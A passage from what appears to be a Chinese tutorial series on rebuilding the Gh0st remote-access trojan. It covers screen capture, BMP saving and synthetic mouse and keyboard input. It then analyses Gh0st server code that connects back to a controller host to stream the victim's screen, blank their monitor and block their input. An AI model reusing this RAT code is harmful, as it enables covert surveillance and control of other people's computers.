    		hStructure.nPos		= nPos;
    		SetScrollInfo(SB_HORZ, &hStructure);
    	}
    	//Invalidate();
        CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    在这里插入图片描述
    server 端的死循环 创建线程 并没有关闭
    设置成flag
    在这里插入图片描述
    当前可不可以发送屏幕
    否则挂起 退出进程
    在这里插入图片描述
    client 告诉server 端 关闭了窗口
    T/F 用来区分 是否发送信息
    在这里插入图片描述
    挂起 清除数据
    在这里插入图片描述
    client 刚开启时候 初始化为 T

    7.1 屏幕抓图显示

    客户端: visual stdio2010
    服务端: visual C++ 6.0 +platform SDK February2003

    MSDN文档
    https://learn.microsoft.com/zh-cn/

    (1)大规模软件开发的设计思想。
    (2)Windows下图形界面编程、各种控件的实际应用(本教程将会使用到各种Windows控件)。
    (3)Windows下多线程程序的开发、以及线程同步,互斥等。
    (4)Windows下程序间利用Socket通信。
    (5)详细理解Winddos下远程注入技术。
    (6)Windows服务程序的开发。(服务方式启动是服务端启动方式的一种)
    (7)如何书写更加简洁 ,易于维护的代码。
    通过本教程学员将得到:
    (1) 本远程管理的源代码。
    (2) 教程中所有Demo的源码。
    (3) 作者的一些小工具。
    课时安排:(每节课20—30分钟,太长的教程看了就想睡觉:-D)
    (1) 客户端界面的设计和编写(10课时)(注:支持窗口的伸缩以及窗口中控件的伸缩)
    (2) 从Gh0st客户端中分离出Socket数据传输的内核、分析数据传输的代码体会作者的设计思想,并加入客户端(5课时)
    (3) 创建服务端,并从Gh0st服务端中分离出Socket数据传输的内核,分析数据传输的代码体会作者的设计思想,并加入服务端(5课时)
    (4) 远程终端管理的编写(5课时)
    (5) 远程进程管理的编写(4课时)
    (6) 远程窗口管理的编写(4课时)(注:支持窗口的隐藏,最大化,最小化)
    (7) 远程桌面管理的编写(6课时)(注:可以从中学习到BMP位图格式,屏幕的抓取,像素的比较)
    (8) 远程文件管理的编写(6课时)
    (9) 远程语音管理的编写(4课时)
    (10) 远程视频管理的编写(6课时)(注:支持无驱摄像头,视频压缩,视频录像)
    (11) 服务端安装和启动的编写:服务启动(5课时)ActiveX启动(4课时)
    (12) 远程服务管理的编写(6课时)
    (13) 远程注册表管理的编写(6课时)
    (14) 从客户端生成服务端,远程连接数据加密(4课时)

    HDC CreateDC(        //得到指定设备名的设备描述表
      LPCTSTR lpszDriver,        // driver name  设备名
      LPCTSTR lpszDevice,        // device name   特殊设备名
      LPCTSTR lpszOutput,        // not used; should be NULL 通常设置为NULL   兼容x86x64
      CONST DEVMODE* lpInitData  // optional printer data  驱动程序的初始化DEVMODE结构指针  NULL
    );
    
    得到设备名将设备打开
    
    
    
    HDC CreateCompatibleDC(    	//为设备描述表创建兼容的内存`设备描述表`
      HDC hdc   // handle to DC     设备句柄
    );
    
    返回值为设备的内存描述表
    将打开的设备描述表选定到内存
    
    
    int GetDeviceCaps(                        //得到指定设备的信息  高度 宽度
      HDC hdc,     // handle to DC               //设备句柄 设备描述表
      int nIndex   // index of capability        //指定要得到那个方面的信息
    );
    https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-getdevicecaps
    
    
    
    HBITMAP CreateCompatibleBitmap(            // 创建一个与设备描述表兼容的位图
      HDC hdc,        // handle to DC                  //设备描述表
      int nWidth,     // width of bitmap, in pixels        //位图的宽度
      int nHeight     // height of bitmap, in pixels       //位图的高度
    );
    
    
    
    HGDIOBJ SelectObject(        把对象选到内存设备描述表中         
      HDC hdc,          // handle to DC           //设备描述表
      HGDIOBJ hgdiobj   // handle to object        //要加入的对象
    );
    
    设备描述表与新加入的对象兼容关联 
    
    BOOL BitBlt(                                    //对指定的原设备环境区域中的像素进行位块转换  可以理解为抓图
      HDC hdcDest, // handle to destination DC       //设备对象                 
      int nXDest,  // x-coord of destination upper-left corner        //目标矩型区域的左上角x坐标
      int nYDest,  // y-coord of destination upper-left corner        //目标矩形区域的左上角y坐标
      int nWidth,  // width of destination rectangle                  //目标巨型区域的逻辑宽度
      int nHeight, // height of destination rectangle                  //目标巨型区域的逻辑高度
      HDC hdcSrc,  // handle to source DC                             //源设备句柄
      int nXSrc,   // x-coordinate of source upper-left corner       //源矩型区域的左上角x坐标
      int nYSrc,   // y-coordinate of source upper-left corner         //源矩型区域的左上角y坐标
      DWORD dwRop  // raster operation code                             //光栅操作代码
    );
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54

    创建对话框工程,拉入图片显示控件

    在这里插入图片描述
    新建工程 基本对话框
    在这里插入图片描述

    修改控件为位图 为控件增加变量

    在这里插入图片描述

    类CScreen_demoDlg添加Copybitmap成员函数

    HBITMAP
    Copybitmap(LPRECT lprect)

    在这里插入图片描述
    给区域 拷贝出来 bitmap
    在这里插入图片描述

    HDC hscrdc, hmemdc;// 屏幕和内存设备描述表 
    	HBITMAP hbitmap, holdbitmap;// 位图句柄 
    	int nx, ny, nx2, ny2;// 选定区域坐标 
    	int nwidth, nheight;// 位图宽度和高度 
    	int xscrn, yscrn;// 屏幕分辨率 
    	// 确保选定区域不为空矩形
    	if (IsRectEmpty(lprect))
    		return NULL;
    	//为屏幕创建设备描述表   整个桌面 
    	hscrdc = CreateDC("display", NULL, NULL, NULL);
    	//为屏幕设备描述表创建兼容的内存设备描述表
    	hmemdc = CreateCompatibleDC(hscrdc);
    	// 获得选定区域坐标
    	nx = lprect->left;
    	ny = lprect->top;
    	nx2 = lprect->right;
    	ny2 = lprect->bottom;
    	// 获得屏幕分辨率
    	xscrn = GetDeviceCaps(hscrdc, HORZRES);
    	yscrn = GetDeviceCaps(hscrdc, VERTRES);
    	//确保选定区域是可见的
    	if (nx < 0)
    		nx = 0;
    	if (ny < 0)
    		ny = 0;
    	if (nx2 > xscrn)
    		nx2 = xscrn;
    	if (ny2 > yscrn)
    		ny2 = yscrn;
    	
    	nwidth = nx2 - nx;
    	nheight = ny2 - ny;
    	
    	// 创建一个与屏幕设备描述表兼容的位图
    	hbitmap = CreateCompatibleBitmap(hscrdc, nwidth, nheight);
    	
    	// 把新位图选到内存设备描述表中
    	holdbitmap = (HBITMAP)SelectObject(hmemdc, hbitmap);
    	// 把屏幕设备描述表拷贝到内存设备描述表中
    	BitBlt(hmemdc, 0, 0, nwidth, nheight,hscrdc, nx, ny, SRCCOPY);
    	//得到屏幕位图的句柄
    	hbitmap = (HBITMAP)SelectObject(hmemdc, holdbitmap);
    	
    	//清除 
    	DeleteDC(hscrdc);
    	DeleteDC(hmemdc);
    	
    	// 返回位图句柄
    	return hbitmap;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49

    添加确定按钮消息并添加代码

    在这里插入图片描述

       	LPRECT temprect;   //创建一块区域
    	HBITMAP tempmap;
    	
    	temprect = new RECT();
    	temprect->bottom = 200;
    	temprect->left = 0;
    	temprect->right = 200;
    	temprect->top = 0;
    	tempmap = Copybitmap(temprect);
    	//显示获取的屏幕
    	m_pic.SetBitmap(tempmap);
    	delete temprect;
    	//CDialog::OnOK();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    更改资源名 IDC_STATIC_BITMAP
    在这里插入图片描述

    添加变量 m_pic 为 控件形式
    c + w
    在这里插入图片描述
    在这里插入图片描述

    BMP位图结构分析,将抓取的图像保存成文件

    BITMAP 位图结构

    遵守了 微软的bmp 结构 还是一些数据
    在这里插入图片描述

    一个bmp文件由四部分组成:

         struCt tagBITMAPFIlEHEADER    文件头
    
         strut tagBITMAPINFOHEADER     位图信息头
    
         typedef tagRGBQUAD      RGB
         位图数据
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    bmp文件结构解析

    tagBITMAPFIlEHEADER

     
    typedef struCt tagBITMAPFIlEHEADER
    
    {
    
    WORD bftype;     //BM  两个字节  头文件 表示 是个 bitmap文件
    
    DWORD bfsiZe:    //位图文件大小  四个字节  双字
    
    WORD bfReservedl;  //必须为0
    
    WORD bgReserved2:   //必为0
    
    DWORD bfoffBits: // 图像数据在  文件内的起始地址   字节
    
    }BITMAPFILEHEADER
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    在这里插入图片描述
    高高低低
    16 94 04 00 49416
    16进制 --> 10进制 /1024 = 293 kb
    在这里插入图片描述

     
    第多少个  字节  为数据文件 
    36 00 00 00
    36 --> 54 
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    BITMAPINFOHEADER

    BITMAPINFOHEADER数据结构用于说明位图的大小,其定义为:
    在这里插入图片描述

    type struct tagBITMAPINFOHEADER
    // 结构体成员 
    { 
    
    DWORD biSize:   //结构BITMAPINFOHEADER所占用的存储容量,固定值为40 
    28 00 00 00 --> 10进制  40
    DWORD biWldth;  //给出该BMP文件所描述位图的宽度与高度
    DWORD biHeight; //给出该BMP文件所描述位图的宽度与高度
    
    C8 00 00 00     200
    F4 01 00 00     1F4    500	
    尺寸  200 x 500
    
    
    WORD biPlanes: //它代表目标设备的平面数必须为1。
    
    WORD 2个字节
    01 00  
    
    
    WORD biBitCount:  
        //它确定每个像素所需要的位数。 
        当图像为单色时,该字段的取值为1;
        当图像为16色时,该字段的取值为4;
        当图像为256 色时,该字段的取值为8;
        当图像为真彩色时,该字段的取值为2418  ->   24
     
    DWORD biCOmpression;//它代表bottom—up类型位图的 压缩类型
    E0 93 04 00  493E0  300000
    DWORD  8个字节
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    在这里插入图片描述
    4xBYTE = DWORD
    4x2 = 8 bit

    
    DWORD biSiZelmage; //给出该BMP 内图像数据占用的空间大小
    
    DWORD biXPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率
    
    DWORD biYPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率
    
    DWORD biClrUsed;       //给出位图实际使用的颜色表中的 颜色变址数
    
    DWORD biClrlmportant;//它给出位图显示过程中 重要颜色的变址数。
    
    }BITMAPINFOHEADER;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    调色板数据 tagRGBQUAD

    typedef struct tagRGBQUAD
    
    {
    
    BYTE rgbBlue;
    
    BYTE rgbGreen;
    
    BYTE rgbRed; 
    
    BYTE rgbReserved;       //它不代表任何意 义,必须取固定值00
    
    }RGBQUAD
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    tagBITMAPINFO

    bmp结构还提供了另外一个结构类型

    成员定义

     
    tyPedef stmCt tagBITMAPINFO 
    
    {
    
    BITMAPINFOHEADER bmiHeader:   
    
    RGBQUAD bmiC010ur[1]}BITMAPINFO
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    位图数据

    注意位图数据的存放是倒序的 文件的第一行正是图像的最后一行

    保存 bmp 图像

    添加类的成员函数

    BOOL
    SaveBmp(CString lpFileName, HBITMAP hBitmap)
    在这里插入图片描述

     
    
        	 HDC hDC; 
            //设备描述表
             int iBits; 
              //当前显示分辨率下每个像素所占字节数
              WORD wBitCount; 
              //位图中每个像素所占字节数
              //定义调色板大小, 位图中像素字节大小 , 位图文件大小 , 写入文件字节数
              DWORD dwPaletteSize=0,dwBmBitsSize,dwDIBSize, dwWritten;
              BITMAP Bitmap; 
              //位图属性结构
              BITMAPFILEHEADER bmfHdr; 
              //位图文件头结构
              BITMAPINFOHEADER bi; 
              //位图信息头结构 
              LPBITMAPINFOHEADER lpbi;   
              //指向位图信息头结构  lp  指针  需要分配空间使用
              HANDLE fh, hDib, hPal;
              HPALETTE hOldPal=NULL;
              //定义文件,分配内存句柄,调色板句柄
              //计算位图文件每个像素所占字节数
              hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
              iBits = GetDeviceCaps(hDC, BITSPIXEL) * 
              GetDeviceCaps(hDC, PLANES);
              DeleteDC(hDC);
    		  iBits=24;
              if (iBits <= 1)
                        wBitCount = 1;
              else if (iBits <= 4)
                        wBitCount = 4;
              else if (iBits <= 8)
                        wBitCount = 8;
              else if (iBits <= 24)
                        wBitCount = 24;
              else
                        wBitCount = 32;
              //计算调色板大小
              if (wBitCount <= 8)
                        dwPaletteSize=(1<<wBitCount)*sizeof(RGBQUAD);
              //设置位图信息头结构
              GetObject(hBitmap, sizeof(BITMAP), (void*)&Bitmap);
              bi.biSize = sizeof(BITMAPINFOHEADER);
              bi.biWidth = Bitmap.bmWidth;
              bi.biHeight = Bitmap.bmHeight;
              bi.biPlanes = 1;
              bi.biBitCount = wBitCount;
              bi.biCompression = BI_RGB;
              bi.biSizeImage = 0;
              bi.biXPelsPerMeter = 0;
              bi.biYPelsPerMeter = 0;
              bi.biClrUsed = 0;
              bi.biClrImportant = 0;
              dwBmBitsSize = ((Bitmap.bmWidth*wBitCount+31)/32)*4*Bitmap.bmHeight;
    		//为位图内容分配内存
              hDib = GlobalAlloc(GHND,dwBmBitsSize+dwPaletteSize+sizeof(BITMAPINFOHEADER));
              lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDib);
               *lpbi = bi;
              // 处理调色板 
               hPal = GetStockObject(DEFAULT_PALETTE);
              if (hPal)
              {
                 hDC = ::GetDC(NULL);
                 hOldPal=SelectPalette(hDC,(HPALETTE)hPal,FALSE);
                   RealizePalette(hDC);
              }
              // 获取该调色板下新的像素值
              GetDIBits(hDC,hBitmap,0,(UINT)Bitmap.bmHeight,(LPSTR)lpbi+sizeof(BITMAPINFOHEADER)+dwPaletteSize, (BITMAPINFO *)lpbi,DIB_RGB_COLORS);
               //恢复调色板 
              if (hOldPal)
              {
                  SelectPalette(hDC, hOldPal, TRUE);
                   RealizePalette(hDC);
                   ::ReleaseDC(NULL, hDC);
              }
              //创建位图文件 
               fh=CreateFile(lpFileName, GENERIC_WRITE,0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
              if (fh==INVALID_HANDLE_VALUE)
                        return FALSE;
              // 设置位图文件头
                bmfHdr.bfType = 0x4D42; // "BM"
                dwDIBSize=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize; 
                bmfHdr.bfSize = dwDIBSize;
                bmfHdr.bfReserved1 = 0;
                bmfHdr.bfReserved2 = 0;
                bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER)+(DWORD)sizeof(BITMAPINFOHEADER)+dwPaletteSize;
                 // 写入位图文件头
                 WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
                 // 写入位图文件其余内容
                WriteFile(fh, (LPSTR)lpbi, sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize , &dwWritten, NULL); 
              //清除 
                GlobalUnlock(hDib);
                 GlobalFree(hDib);
                 CloseHandle(fh);
                return TRUE;
    
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    void CMy_ScreenDlg::OnOK() 
    {
       
    	m_pic.SetBitmap(tempmap);
    	delete temprect;
    	SaveBmp("123.bmp",tempmap);
    	//CDialog::OnOK();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述

    7.3 虚拟键盘和虚拟鼠标的一个小demo

    认识几个API

    SetCursorPos

    左上

    
          BOOL SetCursorPos(           //将光标移动到指定位置       
                           int X,      //光标位置
                           int Y
          );
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    mouse_event

    
         VOID mouse_event(          //合成鼠标动作
                                    DWORD dwFlags,     //动作的标识
                                    DWORD dx,          //将要发生动作的位置相对于当前位置的距离
                                    DWORD dy,          //
                                    DWORD dwData,       如果dwFlags标识中含有MOUSEEVENTF_HWHEEL值,这个参数包含滚动的值
                                    ULONG_PTR dwExtraInfo      //附加值
         );
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-mouse_event

    MOUSEEVENTF_LEFTDOWN
    0x0002

    MOUSEEVENTF_LEFTUP
    0x0004

    MOUSEEVENTF_RIGHTDOWN
    0x0008

    MOUSEEVENTF_RIGHTUP
    0x0010

    keybd_event

        VOID keybd_event(          //合成键盘击键动作  
         BYTE bVk,                   //虚拟键值
        BYTE bScan,                  //硬件扫描码
        DWORD dwFlags,               //按下或抬起的状态
        PTR dwExtraInfo              //附加值
    );
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-keybd_event

    KEYEVENTF_EXTENDEDKEY
    0x0001

    KEYEVENTF_KEYUP
    0x0002

    添加相应变量

    在这里插入图片描述

     
    
    添加鼠标"左键单击"并添加代码:
         UpdateData();
    	SetCursorPos(m_x, m_y);           //鼠标移动到指定位置
    	mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);  //按下鼠标
    	Sleep(10);                                  
    	mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);    //抬起鼠标
    添加鼠标"右键单击"并添加代码:
            	UpdateData();
    	SetCursorPos(m_x, m_y);                              //鼠标移动到指定位置
    	mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);        //按下鼠标
    	Sleep(10);
    	mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);           //抬起鼠标
    
    添加键盘"按下"事件并添加代码:
          	UpdateData(TRUE);
    	Sleep(100);
    	GetDlgItem(IDC_EDIT4)->SetFocus();  // 放置焦点
    	keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);
    	Sleep(1);
    	keybd_event(m_key, MapVirtualKey(m_key, 0),  KEYEVENTF_KEYUP, 0);
    
    添加键盘"抬起"事件并添加代码:
           	UpdateData(TRUE);
    	Sleep(100);
    	GetDlgItem(IDC_EDIT4)->SetFocus();
    	//keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);
    	//Sleep(1);
    	keybd_event(m_key, MapVirtualKey(m_key, 0),  KEYEVENTF_KEYUP, 0);
    
     
    ASCII码  美国信息交换标准代码
    65 66 67
    abc
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    7.4 gh0st远程桌面管理的分析 抓取与传输

    从用户的点击菜单事件开始分析

    文件望远镜搜索OnScreenspy() 事件

    
    
    
    
    void CPcView::OnScreenspy() 
    {
    	// TODO: Add your command handler code here
    	BYTE	bToken = COMMAND_SCREEN_SPY;   // 发送命令
    	SendSelectCommand(&bToken, sizeof(BYTE));
    }
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    在这里插入图片描述

    在服务端 搜索 CKernelManager.cpp OnReceive

    
    
    void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)	// 收到消息
    	case COMMAND_SCREEN_SPY: // 屏幕查看
    		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,  
    			(LPVOID)m_pClient->m_Socket, 0, NULL, true);
    		break;
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述
    创建了个 线程
    Loop_ScreenManager

    Loop_ScreenManager

     
     
    
     
    DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
    {
    	CClientSocket	socketClient;
    	if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
    		return -1;
    	
    	CScreenManager	manager(&socketClient);
    
    	socketClient.run_event_loop();
    	return 0;
    }
    
    
    
     
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    CScreenManager 构造函数

    //csereenManager这个类主要用于抓取好的数据的传输和一些控制的功能
    CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
    {
    	m_bAlgorithm = ALGORITHM_SCAN;   // 屏幕扫描算法
    	m_biBitCount = 8;
    	m_pScreenSpy = new CScreenSpy(8);
    	m_bIsWorking = true;
    	m_bIsBlankScreen = false;
    	m_bIsBlockInput = false;
    	m_bIsCaptureLayer = false;
    //启动两个功能  ControlThread 用于 主控端对服务器的控制
        
     
      
     
       //workthread 的分析
    	m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
    	m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
     // 创建这个线程主要是为了保持一直黑屏
    DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
    {
    	static	bool bIsScreenBlanked = false;
    	CScreenManager *pThis = (CScreenManager *)lparam;
    	while (pThis->IsConnect())
    	{
    		// 加快反应速度
    		for (int i = 0; i < 100; i++)
    		{
    			if (pThis->IsConnect())
    			{
    				// 分辨率大小改变了
    				if (pThis->IsMetricsChange())
    					pThis->ResetScreen(pThis->GetCurrentPixelBits());
    __asm
    {
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    }
    				Sleep(10);
    			}
    			else
    				break;
    		}
    		if (pThis->m_bIsBlankScreen)
    		{
    			SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
    			SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
    			bIsScreenBlanked = true;
    		}
    		else
    		{
    			if (bIsScreenBlanked)
    			{
    				SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
    				SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
    				bIsScreenBlanked = false;
    			}
    		}
    		BlockInput(pThis->m_bIsBlockInput);
    
    		// 分辨率大小改变了
    		if (pThis->IsMetricsChange())
    			pThis->ResetScreen(pThis->GetCurrentPixelBits());
    	}
    
    	BlockInput(false);
    	return -1;
    }
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61

    WorkThread

    在这里插入图片描述
    在这里插入图片描述

    DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
    {
    	CScreenManager *pThis = (CScreenManager *)lparam;
    
    	pThis->sendBITMAPINFO();
        // 发送bmp位图结构
    	// 等控制端对话框打开
    
    	pThis->WaitForDialogOpen();
        // 等待 主控回应
    
    	pThis->sendFirstScreen(); //发送第一帧的数据
    	try // 控制端强制关闭时会出错
        {
    		while (pThis->m_bIsWorking)
    			pThis->sendNextScreen(); //发送接下来的 数据
    	}catch(...){};
    // CScreenSpy 类
    	return 0;
    }
    
    
    
    
    
    void CScreenManager::sendBITMAPINFO()
    {
        //m_pScreenSpy 这个变量的 定义 就是 CScreenSpy类  .h CScreenSpy	*m_pScreenSpy;
        //得到  bmp 结构大小
    	DWORD	dwBytesLength = 1 + m_pScreenSpy->getBISize();
    	LPBYTE	lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
    	lpBuffer[0] = TOKEN_BITMAPINFO;
    	memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
    	Send(lpBuffer, dwBytesLength);
    	VirtualFree(lpBuffer, 0, MEM_RELEASE);	
    }
    
    
    UINT CScreenSpy::getBISize()
    {
    	int	color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
    	
    	return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
    }
    
    
    
    
    LPBITMAPINFO CScreenSpy::getBI()
    {
    	return m_lpbmi_full;
    }
    //将位图结构 返回 
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54

    CScreenSpy构造函数

    在这里插入图片描述

    CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
    {
        //查看 桌面 所用的  像素位
    	switch (biBitCount)
    	{
    	case 1:
    	case 4:
    	case 8:
    	case 16:
    	case 32:
    		m_biBitCount = biBitCount;
    		break;
    	default:
    		m_biBitCount = 8;
    	}
    
        
        	if (!SelectInputWinStation())   // 得到 当前用户控制台 
    	{
    		m_hDeskTopWnd = GetDesktopWindow();  //得到桌面窗口
    		m_hFullDC = GetDC(m_hDeskTopWnd);    //获取 DC
    	}
        
        
        	m_dwBitBltRop	= SRCCOPY;
    
    	m_bAlgorithm	= ALGORITHM_SCAN; // 默认使用隔行扫描算法
    	m_dwLastCapture	= GetTickCount();
    	m_nMaxFrameRate	= nMaxFrameRate;
    	m_dwSleep		= 1000 / nMaxFrameRate;
    	m_bIsGray		= bIsGray;
        m_nFullWidth	= ::GetSystemMetrics(SM_CXSCREEN);
        m_nFullHeight	= ::GetSystemMetrics(SM_CYSCREEN); //获取屏幕大小
        m_nIncSize		= 32 / m_biBitCount;
        
        
    	m_nStartLine	= 0;
    
        //根据 设备DC  创建 内存 DC
    	m_hFullMemDC	= ::CreateCompatibleDC(m_hFullDC);
    	m_hDiffMemDC	= ::CreateCompatibleDC(m_hFullDC);
    	m_hLineMemDC	= ::CreateCompatibleDC(NULL);
    	m_hRectMemDC	= ::CreateCompatibleDC(NULL);
    	m_lpvLineBits	= NULL;
    	m_lpvFullBits	= NULL;
    // .h  LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;
        
    //位图的 信息结构  ConstructBI
    	m_lpbmi_line	= ConstructBI(m_biBitCount, m_nFullWidth, 1);
    	m_lpbmi_full	= ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
